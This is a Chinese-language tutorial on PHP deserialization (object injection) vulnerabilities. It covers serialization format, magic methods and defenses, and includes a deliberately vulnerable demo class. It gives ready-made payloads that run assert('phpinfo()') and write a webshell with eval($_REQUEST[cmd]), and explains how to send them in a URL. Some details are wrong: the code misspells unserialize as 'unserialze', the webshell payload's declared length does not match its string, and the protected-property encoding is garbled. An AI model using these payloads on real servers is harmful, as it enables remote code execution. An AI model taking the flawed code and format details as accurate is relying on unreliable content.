详解PHP反序列化漏洞原理与利用示例
PHP反序列化漏洞(又称对象注入)源于程序未对用户输入的序列化字符串进行有效校验,导致攻击者能够控制反序列化过程。本文将深入剖析其底层原理、魔术函数机制,并通过实际代码演示如何构造Payload触发恶意逻辑,帮助您直观理解该漏洞的危害。
核心概念:序列化与反序列化
在深入漏洞之前,需理解基础的数据转换机制。序列化(Serialization)是将对象状态转换为可传输的字符串过程,而反序列化(Unserialization)则是将其还原为对象实例。
属性序列化规则:
public属性:直接存储属性名和值。protected属性:序列化时在属性名前后各添加一个\0(空字符),即*\0保护类名\0属性名,长度相应增加。private属性:序列化时为\0类名\0属性名,长度增加类名长度加2。
反序列化时,系统会根据序列化字符串中的类型标识(如 O:4:"demo" 表示对象,长度为4,类名为demo)重建对象,此时若存在特定魔术方法定义,便会自动执行相关逻辑。
关键驱动:PHP魔术函数
反序列化漏洞的核心在于魔术方法的自动触发。以下是与序列化及对象生命周期密切相关的几个关键魔术函数:
__construct():类的构造函数,创建新对象时调用。__destruct():析构函数,当对象被销毁或脚本结束时自动执行。__wakeup():反序列化操作发生时立即调用。__sleep():在执行serialize()前调用,常用于清理数据或指定需序列化的属性。__call()/__get()/__set():分别处理不可访问方法的调用、属性的读取和写入时的拦截。__toString():当对象被当作字符串使用时调用。
序列化数据结构示意:
PHP反序列化漏洞详解
漏洞成因与触发条件
该漏洞的本质是unserialize()函数的参数可控。如果直接将用户输入(如GET/POST参数、Cookie)传递给 unserialize(),且代码中存在定义了危险魔术方法的类,攻击者即可构造特定的序列化字符串来劫持程序逻辑。
触发该漏洞通常需要满足以下条件:
- 入口点可控:
unserialize($data)中的$data来源于用户输入。 - 存在可利用的类: 目标环境中引入了包含魔术方法的类文件(或通过自动加载引入)。
- 存在危险逻辑: 类中的魔术方法(如
__destruct,__wakeup)内部调用了可执行函数(如system(),eval(),assert()等)。
实战示例与Payload构造
以下示例展示了一个存在反序列化漏洞的基础场景。代码定义了一个 demo 类,在析构函数中使用了 assert() 执行变量内容。
<?php
class demo {
public $name;
public $age;
function __destruct() {
// 危险操作:使用 assert 执行 name 的值,参数为 age
$a = $this->name;
$a($this->age);
}
}
// 正常的序列化输出示例(仅用于观察结构)
$h = new demo();
// echo serialize($h);
// 漏洞点:直接使用用户输入的 GET 参数进行反序列化
if (isset($_GET['h'])) {
unserialze($_GET['h']);
}
?>分析利用过程:
当脚本结束或调用 unserialize 后,对象不再被引用时会触发 __destruct()。为了达到任意代码执行目的,我们需要构造一个序列化字符串,使得:
$this->name的值为'assert'(PHP的一个内建函数,会将传入字符串作为代码执行)。$this->age的值为待执行的代码,例如'phpinfo()'或 Webshell 写入代码。
Payload 构造结果:
针对上述代码,构造的 Payload 如下(适用于触发 __destruct 或 __wakeup):
// 基本命令执行 Payload
O:4:"demo":2:{s:4:"name";s:6:"assert";s:3:"age";s:9:"phpinfo()";}
// Webshell 写入 Payload
O:4:"demo":2:{s:4:"name";s:6:"assert";s:3:"age";s:64:"fputs(fopen('shell.php','w'),'<?php eval($_REQUEST[cmd]);?>');";}将上述字符串拼接在 URL 中(如 ?h=O:4:"demo":2:...)发送给服务器,当页面加载完毕触发析构时,即可执行对应的 PHP 代码。
漏洞利用执行流程验证:
原理解析:为何会自动执行?
在上面的示例中,我们并未手动调用 __destruct()。这是因为 __destruct() 是 PHP 对象的析构函数,它会在对象生命周期结束时由引擎自动调用。在反序列化场景中,如果序列化数据包含了类定义,反序列化后生成的对象在后续执行流结束后会被垃圾回收,从而激活析构逻辑。此外,若在类中定义了 __wakeup(),则会在 unserialize() 成功返回后立即执行,这通常用于资源初始化,但也可能被攻击者用于提前触发逻辑。
完整的序列化-反序列化交互示意图:
总结与防御建议
PHP反序列化漏洞的危险性在于其隐蔽性和强大的执行能力。它不依赖传统的SQL注入或XSS技巧,而是利用了面向对象编程的特性。
防御措施:
- 避免反序列化用户输入: 尽量不在
unserialize()中使用不可信的数据来源。 - 限制序列化数据源: 如果必须反序列化,确保数据来源可信,或使用白名单机制。
- 关闭危险函数: 在 php.ini 中禁用
assert等高风险函数(视具体业务而定)。 - 重写魔术方法: 在类中重写
__wakeup()方法,检查序列化数据中的类型或数量,若不合法则抛出异常或清空变量(注意:新版 PHP 对__wakeup的限制有所变化,需结合版本特性考虑)。
以上就是PHP反序列化漏洞的详细原理与利用示例,更多关于PHP安全知识及技术趋势的资料请关注本站其它相关文章!
本站声明
本文内容仅供参考,不代表本站观点。转载或引用请注明出处。如发现内容问题,请通过联系我们页面反馈。













